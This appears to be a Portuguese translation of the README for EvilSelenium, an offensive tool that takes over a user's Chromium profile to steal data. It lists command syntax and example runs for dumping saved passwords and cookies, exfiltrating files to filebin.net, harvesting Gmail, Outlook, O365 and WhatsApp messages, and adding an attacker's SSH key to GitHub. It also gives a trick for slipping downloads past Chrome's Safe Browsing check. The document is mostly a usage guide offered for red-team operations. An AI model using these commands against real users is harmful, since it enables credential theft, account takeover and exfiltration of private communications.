
Transforma o Selenium em uma arma para automatizar a coleta de credenciais, extração de cookies, exfiltração de e-mails e extração de arquivos de navegadores Chromium para operações de red team.
EvilSelenium é um novo projeto que arma o Selenium para abusar de navegadores baseados em Chromium. As funcionalidades atuais são:
Ou estenda a funcionalidade existente para atender às suas necessidades (ex.: Baixar arquivos do GDrive/OneDrive do usuário).
Quando esta ferramenta é executada, ela encerrará todos os processos do navegador existentes para poder rodar com o perfil do navegador do usuário, que contém as senhas e sessões ativas.
Construí esta ferramenta em cerca de uma semana e não executei tantos testes quanto deveria, portanto, pode haver alguns bugs.
Os módulos do Selenium nem sempre são estáveis. Devido às constantes mudanças nos sites, alguns módulos podem ocasionalmente quebrar. Farei o meu melhor para manter os módulos existentes para garantir que funcionem como pretendido, mas você foi avisado.
EvilSelenium.exe /?
/help - Mostrar este menu de ajuda.
CONFIGURAÇÃO:
/install - Instalar chromedriver e Selenium webdriver. Execute uma vez.
GLOBAL: (aceito em todos os comandos)
/browserdir [appdata_local_routing] - Usar navegador personalizado. A entrada deve ser o caminho dentro do diretório %appdatalocal% (ex.: "Microsoft\Edge")
RECONHECIMENTO:
/enumsavedsites [caminho_saida] - Verificar quais sites têm senhas salvas via captura(s) de tela.
/screenshot [site] [caminho_saida] - Capturar tela de uma página web.
CREDENCIAIS:
/autorun - Extrair credenciais salvas de sites comuns.
/dynamicid [pagina_login] [id_usuario] [id_senha] - Extrair credenciais salvas de um site, fornecendo o ID do campo de usuário e o ID do campo de senha.
/dynamicname [pagina_login] [nome_usuario] [nome_senha] - Extrair credenciais salvas de um site, fornecendo o valor do atributo name do campo de usuário e o valor do name do campo de senha.
/dynamicname2 [pagina_login] [posicao_usuario] [posicao_senha] [nome_usuario] [nome_senha] - Extrair credenciais salvas de um site, fornecendo o valor do atributo name do campo de usuário, o valor do name do campo de senha e suas posições.
COOKIES:
/cookies [site] - Capturar cookies de um site específico.
MÓDULOS:
/download [url_arquivo] [segundos] - Baixar um arquivo e especificar o tempo de espera para o download terminar. As extensões de arquivo não devem ser executáveis.
/exfil [arquivo_local] [segundos] - Enviar um arquivo para filebin.net e exibir o link de download.
/gmail [caminho_saida] [num_emails] - Buscar e-mails do mail.google.com se o usuário estiver autenticado. Máx. 50 e-mails.
/outlook [caminho_saida] [num_emails] - Buscar e-mails do Outlook se o usuário estiver autenticado.
/o365 [caminho_saida] [num_emails] - Buscar e-mails do O365 Outlook se o usuário estiver autenticado.
/github [chave] - Adicionar sua chave SSH ao Github se o usuário estiver autenticado.
/whatsapp [caminho_saida] - Buscar mensagens do Whatsapp se o usuário estiver autenticado (BETA).
O comando /install baixará o Chrome Driver e o Selenium WebDriver, que são os requisitos necessários. O EvilSelenium funcionará nas versões 100-90 do Chrome.
Testado no Windows 10, Chrome v97 e v90.
EvilSelenium.exe /install
Por padrão, o EvilSelenium tentará usar a pasta de Dados do Usuário do Google Chrome para recuperar dados, mas outros navegadores baseados em Chromium também são suportados.
Para usar diferentes navegadores baseados em Chrome, você deve adicionar o /browserdir seguindo o caminho do navegador no diretório %localappdata%.
Aqui estão exemplos para alguns navegadores comuns (devem ser adicionados a qualquer comando CLI):
/browserdir BraveSoftware\Brave-Browser/browserdir Microsoft\Edge/browserdir Vivaldi/enumsavedsites - Isso tirará capturas de tela de chrome://settings/passwords
/screenshot - Capturar tela de qualquer site. Se o usuário estiver autenticado no site, você obterá capturas de tela autenticadas :).
IMPORTANTE: O módulo de credenciais irá EXCLUIR COOKIES para roubar credenciais do preenchimento automático. Idealmente, você deve usar o módulo de credenciais no final se quiser exportar cookies.
/autorun - Modelos pré-construídos para sites comuns. Continuarei adicionando mais.
/dynamicid - Forneça a URL de login junto com o ID do campo de entrada do usuário e o ID do campo de senha. Isso é equivalente a document.getElementById().
/dynamicname - Se os campos não tiverem IDs, forneça os valores do atributo name dos campos. Ele escolherá o primeiro índice dos valores name. Isso é equivalente a document.getElementsByName()[0].value.
/dynamicname2 - Forneça os valores do atributo name dos campos juntamente com sua posição de índice. Isso é equivalente a document.getElementsByName()[x].value, onde x é a posição fornecida.
/cookies - Despeja cookies do site especificado.
Estes são módulos adicionais que construí para demonstrar que tipo de ações você pode fazer com o Selenium.
/download - Baixar um arquivo e especificar o tempo de espera para o download. Uma extensão de arquivo não executável deve ser anexada ao arquivo antes do download para evitar o prompt de Segurança de Navegação do Chrome.
/exfil - Envia um arquivo para filebin.net e especifica o tempo de espera para o upload ser concluído. Assim que o upload for concluído, o link de download do arquivo é exibido.
/gmail - Busca e-mails do mail.google.com se o usuário estiver autenticado. Máx. 50 e-mails.
/outlook - Busca e-mails do Outlook se o usuário estiver autenticado.
/o365 - Busca e-mails do O365 Outlook se o usuário estiver autenticado.
/github - Adicione sua chave SSH ao Github se o usuário estiver autenticado.
/whatsapp - Busca mensagens do Whatsapp se o usuário estiver autenticado (BETA).
EvilSelenium.exe /screenshot https://mail.google.com c:\users\mr.d0x\downloads
EvilSelenium.exe /dynamicid https://www.hybrid-analysis.com/login login_email login_password
EvilSelenium.exe /dynamicname https://linkedin.com session_key session_password
